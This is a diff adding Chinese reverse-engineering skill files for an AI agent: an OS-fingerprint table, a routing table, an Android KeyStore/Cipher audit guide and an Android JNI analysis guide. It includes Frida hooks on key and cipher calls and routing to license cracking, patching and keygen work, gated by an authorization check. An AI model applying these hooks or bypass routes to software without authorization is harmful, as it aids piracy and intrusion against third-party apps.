| MINIX 3 / Plan 9 / Redox | RS + endpoint vs 9P + `/srv` vs scheme + SQE/CQE |
|
||||
| Haiku / BeOS | Haiku 模块名以 `driver_v1`/`device_v1` 结尾;**调试接口与文件系统 API 与 BeOS 不兼容** |
|
||||
| HIC / Fuchsia | HIC 有**自描述模块元数据**与**入口页 IPC 形态**;Fuchsia 有 driver host 与 bind rules |
|
||||
| z/OS / IBM i / OpenVMS | EBCDIC + 数据集 + JCL vs `库/对象` vs **`ELFOSABI=13`** + DCL |
|
||||
| INTEGRITY / PikeOS / Deos / ARINC 653 | 都讲分区;**PikeOS 的 APEX 服务表链接在固定地址**、**Deos 三类调度模型并存**可作区分 |
|
||||
| LynxSecure / Quest-V | 都"没有中央调度器";前者是**不可变静态分区**,后者是**每 sandbox 一个 monitor** |
|
||||
|
||||
## 五、负判据(看到 X 就不是 Y)
|
||||
|
||||
| 看到 | 可以直接排除 |
|
||||
|---|---|
|
||||
| `set_sysinit_set` / `__start_set_*` | Linux(那是 FreeBSD 的 linker set) |
|
||||
| `_init` + `modlinkage` + `dev_ops` | Linux、FreeBSD(那是 illumos/Solaris 的 DDI/DKI 骨架) |
|
||||
| `0x00ff7eeb` + `"imagefs"` | 任何 Linux/BSD |
|
||||
| `procnto` / `devnp-*.so` | 任何非 QNX 系统 |
|
||||
| ARXML / `Rte_*` | 通用 RTOS 与桌面 OS |
|
||||
| 大规模 EBCDIC 记录 | 任何 Unix 系 |
|
||||
| `.cell` | Xen / ACRN / Bao / XtratuM |
|
||||
| `struct config` + `shmem_id` | 除 Bao 外的 hypervisor |
|
||||
| ThreadX 对象头魔数 | FreeRTOS / µC/OS / RT-Thread |
|
||||
| `ELFOSABI` = 9 / 2 / 12 / 13 | 分别是 FreeBSD / NetBSD / OpenBSD / OpenVMS,**不要按"BSD 都差不多"处理** |
|
||||
|
||||
## 六、`EI_OSABI` 取值参照
|
||||
|
||||
NONE=0、HPUX=1、**NETBSD=2**、LINUX=3、HURD=4、86OPEN=5、**SOLARIS=6**、AIX=7、IRIX=8、**FREEBSD=9**、TRU64=10、MODESTO=11、**OPENBSD=12**、**OPENVMS=13**、NSK=14、ARM=97、STANDALONE=255。
|
||||
|
||||
- **note 段与 OSABI 是两套独立标识**:BSD 系的 note 更常见(见 §3.1),OpenVMS 走 OSABI=13
|
||||
- 注:2000 年曾有 FREEBSD=4 / NETBSD=5 / OPENBSD=6 的提案,**与现行值不同**——本表按现行值
|
||||
- OSABI 为 0(NONE)是常态,**不能反推"不是某个系统"**
|
||||
|
||||
## 七、指认流程(一页版)
|
||||
|
||||
```
|
||||
0. 证据归属:容器内有哪些对象?各自 scope 是什么?主体是哪一个?
|
||||
1. 载体与格式:PE / ELF(ET_REL?) / Mach-O / 无容器镜像 / 配置 / 转储 / 流量
|
||||
2. ELF:先读 EI_OSABI 与 note 段 → 常常一步定系统
|
||||
3. 无容器镜像:找魔数与签名串(IFS、固件卷、RTOS 特征串)
|
||||
4. 有配置:配置格式本身就是强判据(.cell / XM_CF / ARXML / manifests / Kconfig+devicetree)
|
||||
5. 符号与命名:逐行排除;命中易混对走 §四
|
||||
6. 仍不定:
|
||||
├─ 看"缺什么":没有驱动与 I/O 栈?没有中央调度器?
|
||||
└─ 看运行期可见面:系统信息接口、调试器命令、调试接口类型
|
||||
7. 定案后 → [[cross-system-models]] 查该系统的"正常异常",再按 [[rerouting]] A 表进对应分支
|
||||
```
|
||||
|
||||
## 八、使用注意
|
||||
|
||||
- **先定 scope 再定系统**:跨 scope 的命中只记"存在性",不作主体身份依据(§⓪)
|
||||
- **两维要分开看**:`独有·视构建` 的判据**看不见不等于不存在**——strip 过的产物上,缺判据不构成反证
|
||||
- **`弱` 级判据必须组合**:如 ET_REL 只能收到"可重定位 ELF",不能直接定 Linux
|
||||
- **易混淆对的裁断优先于单条特征**:命中 §四 时按该行专项判据走
|
||||
- **判不出不要硬判**:家族定下、系统未定,也好过猜一个系统然后整条分析链跑偏;此时按家族级分支(如 [[re-rtos]] 主文档)先推进
|
||||
- 新增系统分支时,**同步往本表加一行**(判据须带两维标注与 scope 说明)
|
||||
@@ -0,0 +1,66 @@
|
||||
# 任务识别决策表
|
||||
|
||||
入口根据「分析目标 + 输入文件」选择编排路径。目标命中多个大类时按依赖顺序串联。
|
||||
|
||||
**前置:认目标属于哪个系统**([[system-fingerprints]])。目标不是常见形态(非 PE/ELF,或 ELF 但 OSABI/note 段指向非主流系统,或根本无容器)时,先走识别流程再查本表;**家族已定、系统未定**时按家族级分支推进,不要猜一个系统再按它编排。
|
||||
|
||||
**路由按能力匹配**(能力层,见 [[capabilities]] 与 `capability-index.md`):先由目标/输入特征确定「需要能力」,再查能力索引取提供该能力的技能——技能名只是索引结果,不按领域名硬编码。改技能的能力声明后索引会重生成,路由随之更新(`npm test` 校验路由与声明一致)。
|
||||
|
||||
## 第 0 步:授权上下文(authorization_context)
|
||||
|
||||
路由前先判定目标归属,存入会话变量 `RE_AUTH`(影响动态执行、补丁/绕过、密钥提取、脱壳产物扩散):
|
||||
|
||||
| 值 | 含义 |
|
||||
|---|---|
|
||||
| `owned` | 自有/自研软件 |
|
||||
| `ctf` | CTF/研究环境(题目/沙箱样本) |
|
||||
| `research` | 获得授权的测试与审计 |
|
||||
| `unknown` | 无法确认(默认向用户询问,用户不明确即保持 unknown) |
|
||||
|
||||
**影响**:
|
||||
- 动态执行(运行样本/断点/内存读写):`unknown` 与第三方商业软件 → 默认沙箱([[re-sandbox]]),仅限授权内行为
|
||||
- 补丁/绕过流程(re-cracking 域:license/patching/keygen/drm):仅 `owned`/`ctf`/`research` 可进入;`unknown` → 只做静态授权逻辑分析,先询问归属(与 [[re-cracking]] 授权边界一致)
|
||||
- 密钥提取/解密、脱壳产物扩散:同样受 `RE_AUTH` 约束
|
||||
|
||||
## 目标 → 编排路径
|
||||
|
||||
| 目标(用户描述) | 需要能力 | 编排路径(按顺序) |
|
||||
|---|---|---|
|
||||
| 判定恶意行为 / 会不会回连 | `malware-behavior`、`network-capture` | re-malware 网关 → re-sandbox → re-behavior → re-protocol(re-netcap / re-proto-rev / re-crypto-*)→ re-ioc |
|
||||
| 只有现象、没有样本(不落盘 / 内存驻留 / 寄生在别的进程) | `sample-acquisition`、`malware-behavior` | re-sample-acquire → re-triage → re-fileless / re-malware → re-ioc |
|
||||
| 勒索加密 / 文件被加密 / 勒索信 | `malware-behavior`、`crypto-identification`、`crypto-decryption` | re-malware → re-sandbox → re-ransomware → re-crypto-id / re-crypto-decrypt → re-ioc |
|
||||
| 无文件样本 / PowerShell 链 / 内存执行 | `malware-behavior`、`deobfuscation` | re-malware → re-fileless → re-script-deob → re-behavior → re-ioc |
|
||||
| 样本带壳 / 脱壳 | `unpack` | re-anti-analysis → re-packer-id → re-unpack-simple / re-unpack-advanced → 验证 |
|
||||
| 破解 / 授权绕过 / 注册码 | `license-analysis`、`binary-patching` | re-cracking →(若带壳)re-anti-analysis → re-license → re-patching / re-keygen |
|
||||
| 漏洞挖掘 / 崩溃分析 | `fuzzing`、`debugging` | re-vuln → re-fuzzing → re-crash-triage →(定位)re-binary-core |
|
||||
| 分析固件 / IoT 设备 | `firmware-extraction`、`emulation`、`hardware-interface` | re-firmware → re-fw-extract → re-fw-rootfs → re-fw-emulate →(UEFI/BIOS → re-uefi)→(RTOS → re-rtos)→(ARM → re-arm;MIPS → re-mips;RISC-V → re-riscv)→(TEE → re-tee)→(芯片/PCB → re-hw-chip)→(JTAG/UART → re-hardware-io)→(若见通信)re-protocol |
|
||||
| 分析网络流量 / 未知协议 | `network-capture`、`protocol-recovery`、`crypto-identification` | re-protocol → re-netcap → re-proto-rev → re-crypto-id / re-crypto-keys / re-crypto-decrypt |
|
||||
| 加密流量(TLS)分析 | `tls-analysis`、`crypto-identification` | re-protocol → re-tls → re-crypto-keys |
|
||||
| 射频 / 无线信号 | `rf-analysis`、`sdr-analysis`、`protocol-recovery` | re-protocol → re-sdr →(协议还原)re-proto-rev / re-iot-proto |
|
||||
| 移动 App 分析 | `dex-parser`、`jni-analysis`、`frida-instrumentation` | re-mobile → re-apk / re-ios → re-frida →(Flutter/RN → re-hybrid-app / re-flutter;鸿蒙 hap → re-harmonyos;脚本生成 → re-frida-script-author)→(含原生库 → re-android-native)→(加密体系审计 → re-android-crypto) |
|
||||
| iOS 越狱环境 / tweak 分析 | `jailbreak-analysis` | re-mobile → re-ios-jb →(动态插桩)re-frida |
|
||||
| 一般软件逆向 / 看逻辑 | `decompilation`、`elf-parser` | re-binary-core → re-triage → re-format-pe / re-format-elf / re-format-macho → re-ghidra / re-ida / re-radare2 → 按需动态 |
|
||||
| 架构相关目标(ARM/MIPS/RISC-V 裸机) | `arch-analysis` | re-binary-core → re-arm / re-mips / re-riscv →(若 RTOS)re-rtos |
|
||||
| 语言产物(Go/Rust/Swift/Zig/Nim/函数式) | `lang-runtime-analysis` | re-binary-core → re-go / re-rust / re-swift / re-zig / re-nim / re-fp-runtime |
|
||||
| 游戏逆向 / 主机与复古平台 | `game-analysis`、`console-analysis` | re-game(底座 re-binary-core)→(现代主机/复古平台 → re-console) |
|
||||
| shellcode / 位置无关载荷 | `shellcode-analysis`、`emulation` | re-binary-core → re-triage → re-shellcode → re-emulation |
|
||||
| eBPF / 内核跟踪程序 | `ebpf-analysis` | re-binary-core → re-ebpf →(内核侧)re-kernel |
|
||||
| hypervisor / 虚拟化目标 | `hypervisor-analysis` | re-binary-core → re-hypervisor →(内核底座)re-kernel |
|
||||
| 内核驱动 / rootkit | `kernel-analysis` | re-binary-core → re-kernel →(调试)re-windbg / re-gdb |
|
||||
| CTF 赛题 | `constraint-solving`、`symbolic-execution`、`exploit-development` | re-ctf → 题型识别 → re-angr / re-z3 / re-pwn / re-deobfuscate →(底座)re-binary-core |
|
||||
| .NET/Java/脚本样本 | `bytecode-parser`、`deobfuscation` | re-managed → re-dotnet / re-java / re-script-deob →(Java Card/SIM → re-javacard)→(恶意场景)re-malware |
|
||||
| Electron 桌面应用 | `electron-analysis` | re-managed → re-electron →(asar 内 JS 混淆)re-script-deob |
|
||||
| 智能合约 / EVM 字节码 | `blockchain-analysis` | re-managed → re-blockchain →(漏洞利用)re-vuln |
|
||||
| AI 模型 / 权重提取 / 模型水印 | `ai-model-analysis` | re-managed → **re-ai-triage 分流**:模型文件(.onnx/.pt/.safetensors 等)→ re-ai-model;仅 API(行为层)→ re-ai-attack;恶意行为(投毒/后门)→ re-malware |
|
||||
| macOS 原生应用 | `macho-parser` | re-binary-core → re-format-macho → re-macos |
|
||||
| 内存取证 / 威胁情报 | `memory-forensics`、`threat-intel` | re-forensics → re-mem-forensics → re-ti →(衔接)re-ioc |
|
||||
| 磁盘 / 镜像取证 | `disk-forensics` | re-forensics → re-disk-forensics →(时间线/情报)re-ti |
|
||||
| 移动设备取证 | `mobile-forensics` | re-forensics → re-mobile-forensics → re-ti |
|
||||
| 二进制变体 / 补丁对比 | `binary-diffing` | re-binary-core → re-variant |
|
||||
|
||||
## 复合任务示例
|
||||
|
||||
- "脱壳 → 静态 → 动态 → C2 协议 → 报告":re-anti-analysis → re-binary-core → re-malware(re-sandbox) → re-protocol → re-ioc
|
||||
- ".NET 样本 → 恶意判定 → 内存取证":re-managed(re-dotnet) →(恶意场景)re-malware → re-forensics(re-mem-forensics → re-ti) → re-ioc
|
||||
- "崩溃样本 → 漏洞根因":re-vuln(re-fuzzing 复现 → re-crash-triage 定位)→(定位)re-binary-core
|
||||
- 每个环节完成后检查是否有新证据改变后续路径(如动态分析发现加壳 → 回退 re-anti-analysis)。中途再路由统一按 [[rerouting]] 双轨执行(证据触发 / 网关完成必查)。
|
||||
104
vendor-new/rev-skills/.claude/skills/re-android-crypto/SKILL.md
Normal file
104
vendor-new/rev-skills/.claude/skills/re-android-crypto/SKILL.md
Normal file
@@ -0,0 +1,104 @@
|
||||
---
|
||||
name: re-android-crypto
|
||||
type: atomic
|
||||
description: >
|
||||
Android 加密体系审计(crypto audit):AndroidKeyStore 密钥体系分析(别名/算法/用途/硬件背书)、
|
||||
Cipher/KeyInfo 审计、加密调用点 hook(Frida 拦截密钥别名与用途)。
|
||||
触发词:Keystore、AndroidKeyStore、Cipher、KeyInfo、StrongBox、加密审计、crypto hook、密钥别名。
|
||||
capabilities: [crypto-identification, key-extraction]
|
||||
---
|
||||
|
||||
# Android 加密体系审计(crypto audit)
|
||||
|
||||
## 任务分类器(intent → 路径)
|
||||
|
||||
| 用户目的 | 路径 |
|
||||
|---|---|
|
||||
| 密钥来自 AndroidKeyStore / 硬件背书密钥 | → **Keystore 审计**(步骤 1) |
|
||||
| 定位加密调用点 / 拦截密文与明文 | → **crypto hook**(步骤 2) |
|
||||
| 分析第三方加密库(BoringSSL / OpenSSL / Tink / libsodium 等) | → **库分析**(步骤 3) |
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:Android 应用加密体系审计——密钥体系(Keystore)、加解密调用链、库选型还原
|
||||
- 用:`getEncoded()` 不可用的硬件背书密钥(须走审计而非提取密钥字节)
|
||||
- 用:加密拦截时需记录密钥别名与用途(不记录密钥字节——安全边界)
|
||||
- 不用:JNI/so 原生逻辑逆向(走 [[re-android-native]]);通用加密算法识别(走 [[re-crypto-id]]);通用密钥提取([[re-crypto-keys]],Keystore 硬件密钥除外)
|
||||
- 不用:非 Android 平台(走通用 crypto 域 [[re-protocol]] 分支)
|
||||
- 边界:本技能承接 Android crypto audit 全谱——Keystore/Cipher/KeyInfo/hook 为起点,BoringSSL/OpenSSL/Tink/libsodium 等第三方库分析归入本技能(步骤 3),不塞入 re-android-native
|
||||
|
||||
## 工具准备
|
||||
|
||||
所有工具先验证再使用。动态 hook 默认沙箱([[re-analyze/platform-tips]] 最高原则);静态审计可免沙箱。
|
||||
|
||||
### frida([[re-frida]])—— crypto hook 主力
|
||||
|
||||
- 安装与验证见 [[re-frida]] 工具准备;脚本模板见 [[re-frida/frida-scripts]]
|
||||
- 验证: `frida --version`
|
||||
|
||||
### python3 / jadx —— 静态定位加密调用点
|
||||
|
||||
- python3 安装与验证见 [[re-python]] 工具准备
|
||||
- jadx 安装与验证见 [[re-apk]] 工具准备
|
||||
|
||||
### 设备侧命令([[re-apk]] adb 章节)
|
||||
|
||||
- `adb shell` 取应用运行态(KeyStore 枚举需应用进程内执行)
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **Keystore 审计**(AndroidKeyStore 密钥体系):
|
||||
```java
|
||||
// 应用进程内枚举(frida 注入或 jadx 反编译定位调用点)
|
||||
KeyStore ks = KeyStore.getInstance("AndroidKeyStore");
|
||||
ks.load(null);
|
||||
java.util.Enumeration<String> aliases = ks.aliases();
|
||||
```
|
||||
- **遍历**:`aliases()` 枚举全部条目(密钥别名 = 应用内引用键)
|
||||
- **条目属性**:算法(AES/RSA/EC)、用途(encrypt/decrypt/sign/verify)、来源——`KeyInfo.getSecurityLevel()`(API 31+,返回 SOFTWARE / TRUSTED_ENVIRONMENT(TEE) / STRONGBOX 三档);API 23–30 只有 `isInsideSecureHardware()`(布尔,TEE 与 StrongBox 同为 true,分不开)
|
||||
- **生物绑定**:`setUserAuthenticationRequired` 的密钥在认证失败时不可用(绕过与检测见 [[re-analyze/anti-dynamic-workflow]])
|
||||
- 产出:别名 → 算法/用途/硬件背书 清单(不记录密钥字节)
|
||||
|
||||
2. **crypto hook**(加密调用点拦截):
|
||||
```js
|
||||
// frida:拦截加密调用点,记录算法/模式/密钥别名
|
||||
// 别名来源:Key 对象本身不携带别名(KeyStore 无 getKeyAlias),须在 getKey 处记录
|
||||
const KeyStore = Java.use('java.security.KeyStore');
|
||||
KeyStore.getKey.overload('java.lang.String', '[C').implementation = function (alias, password) {
|
||||
console.log('KeyStore.getKey', alias);
|
||||
return this.getKey(alias, password);
|
||||
};
|
||||
const Cipher = Java.use('javax.crypto.Cipher');
|
||||
Cipher.init.overload('int', 'java.security.Key', 'java.security.spec.AlgorithmParameterSpec').implementation =
|
||||
function (opmode, key, params) {
|
||||
console.log('Cipher.init', opmode, key.getClass().getName(), params); // 对应别名见上方 getKey 输出
|
||||
return this.init(opmode, key, params);
|
||||
};
|
||||
// 另路取回别名:SecretKeyFactory.getInstance(key.getAlgorithm(), 'AndroidKeyStore')
|
||||
// .getKeySpec(key, KeyInfo.class) → KeyInfo.getKeystoreAlias()
|
||||
```
|
||||
- hook 目标:`Cipher.init` 系列(算法/模式/IV 来源)、`KeyStore.getKey` / `getEntry`(别名与用途)、`Signature`/`Mac` 初始化(验签/校验链)
|
||||
- 记录:别名与用途,**不记录密钥字节**(安全边界,见坑 2)
|
||||
- 静态定位辅助:jadx 搜 `AndroidKeyStore` / `KeyStore.getInstance` / `Cipher.getInstance` 调用点,与 hook 结果互证
|
||||
|
||||
3. **第三方加密库分析**(BoringSSL / OpenSSL / Tink / libsodium 等):
|
||||
- 识别:导入表/符号(`SSL_*`/`EVP_*`/`crypto_*`/`sodium_*` 前缀)+ jadx 依赖声明
|
||||
- 定位调用点:库 API 的 xref(静态)或 hook 库导出函数(动态)
|
||||
- 与 [[re-android-native]] 衔接:库以 .so 形态存在 → 其 JNI/内部逻辑走 [[re-android-native]],本技能管加密语义(算法/密钥来源/用途)
|
||||
|
||||
4. **产出与存证**:密钥体系图(别名/算法/用途/背书来源)+ 加密调用点清单 + hook 脚本,sha256 存档供 [[re-ioc]] 引用
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-android-native]]:JNI/so 原生逻辑逆向(本技能的 .so 库内部逻辑承接方;Keystore 审计自其转出)
|
||||
- [[re-frida]]:hook 执行层([[re-frida/frida-scripts]] 模板)
|
||||
- [[re-crypto-id]] / [[re-crypto-keys]]:算法识别与通用密钥提取(Keystore 硬件密钥除外——走本技能审计)
|
||||
- [[re-apk]]:应用静态定位(jadx 调用点)
|
||||
- [[re-mobile]]:工作流移动分支(加密审计子路径)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **把 Keystore 当普通密钥提取**:现象——`getEncoded()` 拿不到密钥字节,误判「密钥不存在」;原因——AndroidKeyStore 硬件背书密钥不可导出,这是设计而非缺失;对策——改走审计(步骤 1:别名/算法/用途/背书),不追求密钥字节
|
||||
- **TEE 与 StrongBox 混为一谈**:现象——`isInsideSecureHardware` 为 true 就断言 StrongBox;原因——Secure Hardware 含 TEE 与 StrongBox 两级,该接口是布尔、分不开(`isStrongBoxBacked` 在 `KeyGenParameterSpec` 上,只管生成侧,`KeyInfo` 没有);对策——API 31+ 用 `KeyInfo.getSecurityLevel()` 取 SOFTWARE / TEE / STRONGBOX 三档;API 23–30 无法细分,结论按「secure hardware(TEE 或 StrongBox)」标注层级
|
||||
- **记录密钥字节**:现象——hook 脚本把 Keystore 密钥内容打印/落盘;原因——把审计当提取,越过安全边界;对策——只记录别名与用途,密钥字节不落盘(见步骤 2 注)
|
||||
- **库语义当 JNI 逻辑分析**:现象——第三方加密库的 .so 被按 native 逻辑深挖而忽略加密语义;原因——域不清;对策——库 API 的加密语义(算法/密钥来源/用途)归本技能,内部实现细节才走 [[re-android-native]]
|
||||
143
vendor-new/rev-skills/.claude/skills/re-android-native/SKILL.md
Normal file
143
vendor-new/rev-skills/.claude/skills/re-android-native/SKILL.md
Normal file
@@ -0,0 +1,143 @@
|
||||
---
|
||||
name: re-android-native
|
||||
description: >
|
||||
Android 原生库 JNI 逆向:so 提取、JNI 注册还原、Native 逻辑分析。
|
||||
触发词:JNI、.so、Android native、xhook、IDA so
|
||||
capabilities: [jni-analysis]
|
||||
---
|
||||
|
||||
# Android 原生库(JNI/.so)逆向
|
||||
|
||||
## 入口判定(Decision Gate)
|
||||
|
||||
目标出现时先判形态,命中即转对应技能(自动调度分流):
|
||||
|
||||
```
|
||||
目标
|
||||
├── APK
|
||||
│ ├── lib/*.so 存在?──是──→ 本技能(re-android-native)
|
||||
│ └── 无 so(纯 Java)──→ re-apk
|
||||
├── 单独 .so
|
||||
│ ├── JNI 符号(Java_* / JNI_OnLoad / RegisterNatives 调用点)──→ 本技能
|
||||
│ ├── 加密库 API(SSL_*/EVP_*/crypto_* 等)──→ re-android-crypto(加密语义)
|
||||
│ └── 普通 ELF(无 JNI 特征)──→ re-binary-core(re-format-elf)
|
||||
├── 加固 so(壳壳/熵高/导入表极小)──→ re-anti-analysis / re-mobile-pack(脱壳后回本技能)
|
||||
└── 加密体系审计目标(Keystore/Cipher)──→ re-android-crypto
|
||||
```
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:APK 里的 `lib/*.so` 原生库——JNI 接口还原、注册方式(静态/动态)、native 逻辑分析
|
||||
- 用:Java 层逻辑清楚但核心算法/反调试在 native(游戏、加固、加密逻辑)
|
||||
- 用:Java 层只看到 `System.loadLibrary` + `native` 声明,要定位与还原 native 实现
|
||||
- 不用:只要 APK Java 层静态(走 [[re-apk]]);只要运行时 hook 不需要理解 .so 结构(走 [[re-frida]])
|
||||
- 不用:so 是加固壳壳(先按 [[re-mobile-pack]] / [[re-anti-analysis]] 脱壳,见坑 5)
|
||||
- 注意:动态插桩按 [[re-analyze/platform-tips]] 最高原则在受控设备 / 模拟器快照内执行
|
||||
|
||||
## 工具准备
|
||||
|
||||
静态分析(readelf / Ghidra 导入 .so)免沙箱;动态(frida / xhook)按 [[re-analyze/platform-tips]] 最高原则在受控环境执行。所有工具先验证再使用。
|
||||
|
||||
### 反编译工作台(so 加载)—— [[re-ghidra]] / [[re-ida]]
|
||||
|
||||
- [[re-ghidra]](默认):`File > Import File` 直接导入 ELF .so(arm64/arm/x86_64 都支持),Data Type Manager 载入 jni.h 类型(见 [[re-ghidra]] 工具准备)
|
||||
- [[re-ida]]:加载 so 后 ARM64 反编译;`Option > Load new type` 载入 jni.h
|
||||
- 验证: 导入 arm64 .so 后能反编译出 `JNI_OnLoad` 或 `Java_*` 导出函数
|
||||
|
||||
### jni.h —— JNIEnv 函数表结构理解(Android NDK 自带)
|
||||
|
||||
- 无独立发行版包,随 Android NDK 提供。官方途径:Android Studio SDK Manager 安装 NDK,或命令行:
|
||||
```sh
|
||||
sdkmanager "ndk;27.2.12479018" # 先确认 sdkmanager 在 PATH(Android SDK cmdline-tools)
|
||||
# 或 GitHub android-ndk 官方仓库下载对应版本 zip
|
||||
```
|
||||
- 关键文件:`$NDK/toolchains/llvm/prebuilt/linux-x86_64/sysroot/usr/include/jni.h`(macOS 为 darwin-x86_64 路径)
|
||||
- 验证: 能打开 jni.h,看到 `JNINativeInterface`(函数表)与 `JNIEnv`(函数表指针)定义
|
||||
|
||||
### readelf(binutils)—— 导出表/架构识别([[re-format-elf]] 联动)
|
||||
|
||||
- Linux: `apt install binutils` / `dnf install binutils` / `pacman -S binutils`
|
||||
- macOS: `brew install binutils`(`greadelf`)
|
||||
- 验证: `readelf --version`
|
||||
|
||||
### frida([[re-frida]])—— JNI 运行时观察
|
||||
|
||||
- 主机 `pip install frida-tools`;设备 frida-server 推送安装见 [[re-frida]] 工具准备
|
||||
- 验证: `frida-ps -U` 能列出设备进程
|
||||
|
||||
### adb —— 从设备提取 so / 安装 APK
|
||||
|
||||
- Linux: `apt install adb`(Debian/Ubuntu)/ `dnf install android-tools` / `pacman -S android-tools`
|
||||
- macOS: `brew install android-platform-tools`;Windows: 官方 platform-tools zip
|
||||
- 验证: `adb version`
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行,每步产物(so 路径、readelf 输出、Ghidra 工程、frida 脚本)记录证据路径 + sha256(见 [[re-triage]]),供报告引用。
|
||||
|
||||
1. **so 提取与架构识别**:
|
||||
```sh
|
||||
unzip app.apk -d app/ # APK 是 zip
|
||||
find app -name "*.so" # lib/ 下所有原生库
|
||||
file app/lib/arm64-v8a/libtarget.so # 确认架构(ELF 64-bit ARM aarch64)
|
||||
readelf -h app/lib/arm64-v8a/libtarget.so # Machine: AArch64 / x86-64
|
||||
readelf -d app/lib/arm64-v8a/libtarget.so # 依赖库与动态段
|
||||
```
|
||||
- ABI 目录:`arm64-v8a`(真机主力)、`armeabi-v7a`(32 位)、`x86_64`/`x86`(模拟器)——多 ABI 差异见坑 4
|
||||
- 已安装 App:`adb pull /data/app/.../lib/arm64-v8a /tmp/lib/`(需 root 或 debuggable)
|
||||
- 记录:目标 ABI、导出表规模、依赖(`readelf -d` NEEDED)、是否 strip(`readelf -s` 符号数量)
|
||||
|
||||
2. **JNI 接口还原(JNIEnv 函数表)**:
|
||||
```sh
|
||||
readelf --dyn-syms app/lib/arm64-v8a/libtarget.so | grep -i java # 静态注册的 Java_* 导出
|
||||
readelf --dyn-syms app/lib/arm64-v8a/libtarget.so | grep -i JNI # JNI_OnLoad / JNI_OnUnload
|
||||
```
|
||||
- **JNIEnv 是函数表指针**:`JNIEnv* env` 实际指向 `JNINativeInterface` 函数表(jni.h 定义),函数调用是 `(*env)->GetStringUTFChars(env, ...)` 形式的表槽访问——反编译里看到"从结构体偏移取函数指针再调用"就是 JNI API,见坑 1
|
||||
- Ghidra/IDA 载入 jni.h 类型后,按名称还原:`GetStringUTFChars`(**Java jstring → Modified UTF-8 字节序列**)、`NewStringUTF`(**Modified UTF-8 → Java String**)、`CallVoidMethod`/`CallBooleanMethod`(回调 Java)、`GetJavaVM`(进程内拿 JavaVM)
|
||||
- **是 Modified UTF-8,不是标准 UTF-8**:两者在空字符编码(`0xC0 0x80`)与增补字符(代理对)上不同——按标准 UTF-8 解析会得到错误字符串,按字节数做的 `strlen` 类操作也会对不上(字符数要用 JNI 自己的长度接口拿)
|
||||
- 还原目标:native 函数签名(`(JNIEnv*, jclass/jobject, 业务参数...)`)——第一个参数是 env、第二个是 jclass(静态)或 jobject(实例),业务参数从第三个起
|
||||
|
||||
3. **注册方式(静态 JNI_OnLoad / 动态 RegisterNatives)**:
|
||||
- 静态注册:函数名 `Java_包名_类名_方法名`(下划线转义),直接出现在导出表(步骤 2 可看到)
|
||||
- 动态注册:`JNI_OnLoad` 里调 `RegisterNatives(env, clazz, methods, count)`,`methods` 是 `JNINativeMethod{name, signature, fnPtr}` 数组——**三个字段都是指针,宽度随 ABI 变**(64 位下各 8 字节;**armeabi-v7a / x86 等 32 位 ABI 下各 4 字节**,数组步长 12 字节)——**函数地址不在导出表**(见坑 2),反编译定位 `JNI_OnLoad` 后沿 RegisterNatives 第三参数数组逐项还原
|
||||
- 机制要点(知识层):`JNIEnv*` 指向 `JNINativeInterface` 函数表(见坑 1),`RegisterNatives` 位于标准 `JNIEnv` function table index **215**(`UnregisterNatives` 216)——这是 JNI ABI 的固定布局;实际 byte offset = index × 目标指针宽度(64 位下 215×8=0x6B8)。Android Dalvik/ART、NDK 与标准 `jni.h` 不改变该 index
|
||||
- frida 观察运行时注册(spawn 目标 App):脚本模板与运行时校验策略(`JNIEnv*` 有效性 / hook 表检测 / ABI 传参分支)见 [[probes]]——易变的是 ABI 传参寄存器与 libart 内部结构,以目标环境实测为准
|
||||
```
|
||||
- 还原产物:`Java 方法名 → 签名 → native 函数地址` 对照表
|
||||
|
||||
4. **逻辑分析([[re-ghidra]] 联动)**:
|
||||
- Ghidra 导入 so → 载入 jni.h 类型(步骤 2)→ 对每个 native 函数 F5 反编译
|
||||
- 无符号辅助时按 API 调用点反推:JNI API 的参数就是业务数据的入口(如 `GetStringUTFChars` 的返回值是输入字符串)
|
||||
- 算法/校验/解密逻辑按 [[re-binary-core]] 方法论深挖;被混淆(OLLVM 变脸/字符串加密)→ 转 [[re-deobfuscate]](坑 3)
|
||||
- 静态注册的 `Java_*` 函数之间常有跨调用(native 内部函数表/回调),追踪函数指针来源([[re-binary-core]] R6 思路)
|
||||
|
||||
5. **与 Java 层交互(native 调用点定位)**:
|
||||
- Java 侧([[re-apk]] / jadx):`System.loadLibrary("target")` 与 `native` 方法声明所在的类——`Java_包名_类名_*` 命名即从这里来
|
||||
- jadx 里对每个 `native` 方法找调用点(谁在什么业务路径上触发它),与步骤 3 的对照表对齐,形成 `Java 调用点 ↔ native 函数` 映射
|
||||
- 动态验证:frida `Java.perform` 里直接调用 native 方法(`Java.use("com.x.Cls").method(...)`)观察参数与返回;或用 xhook / PLT hook 思路([[re-frida]] 的 `Interceptor.attach(Process.getModuleByName(...).findExportByName(...))`)观察 native 内部对外部库(libc / 系统库)的调用链
|
||||
- 闭环:Java 触发点 → 参数来源 → native 处理逻辑 → 输出回 Java 层
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-mobile]]:本技能是其工作流第 4 步(原生库)的专项子技能——网关识别到含 `.so` 目标后固定调度
|
||||
- [[re-frida]]:动态观察 RegisterNatives / hook native 函数 / Java↔native 交互验证(spawn 抓 JNI_OnLoad)
|
||||
- [[re-format-elf]]:导出表 / 动态段 / 符号解析(readelf 三表),动态注册函数定位的前提
|
||||
- [[re-ghidra]]:so 反编译工作台 + jni.h 类型载入
|
||||
- [[re-apk]]:Java 侧静态(jadx 找 native 声明与调用点);加固识别后转脱壳域
|
||||
- [[re-deobfuscate]]:OLLVM / 字符串加密的 native 代码还原
|
||||
- [[re-mobile-pack]] / [[re-anti-analysis]]:加固 so 壳壳先脱壳再分析(坑 5)
|
||||
- [[re-android-crypto]]:加密体系审计(Keystore/Cipher/第三方加密库语义)已独立承接——本技能聚焦 JNI/native 逻辑;.so 内加密库 API 的加密语义转 [[re-android-crypto]]
|
||||
- [[re-analyze]]:被 triage「移动 App 分析」路径调用(re-mobile → 原生库 → 本技能)
|
||||
- [[re-analyze/platform-tips]]:动态插桩受控环境最高原则
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
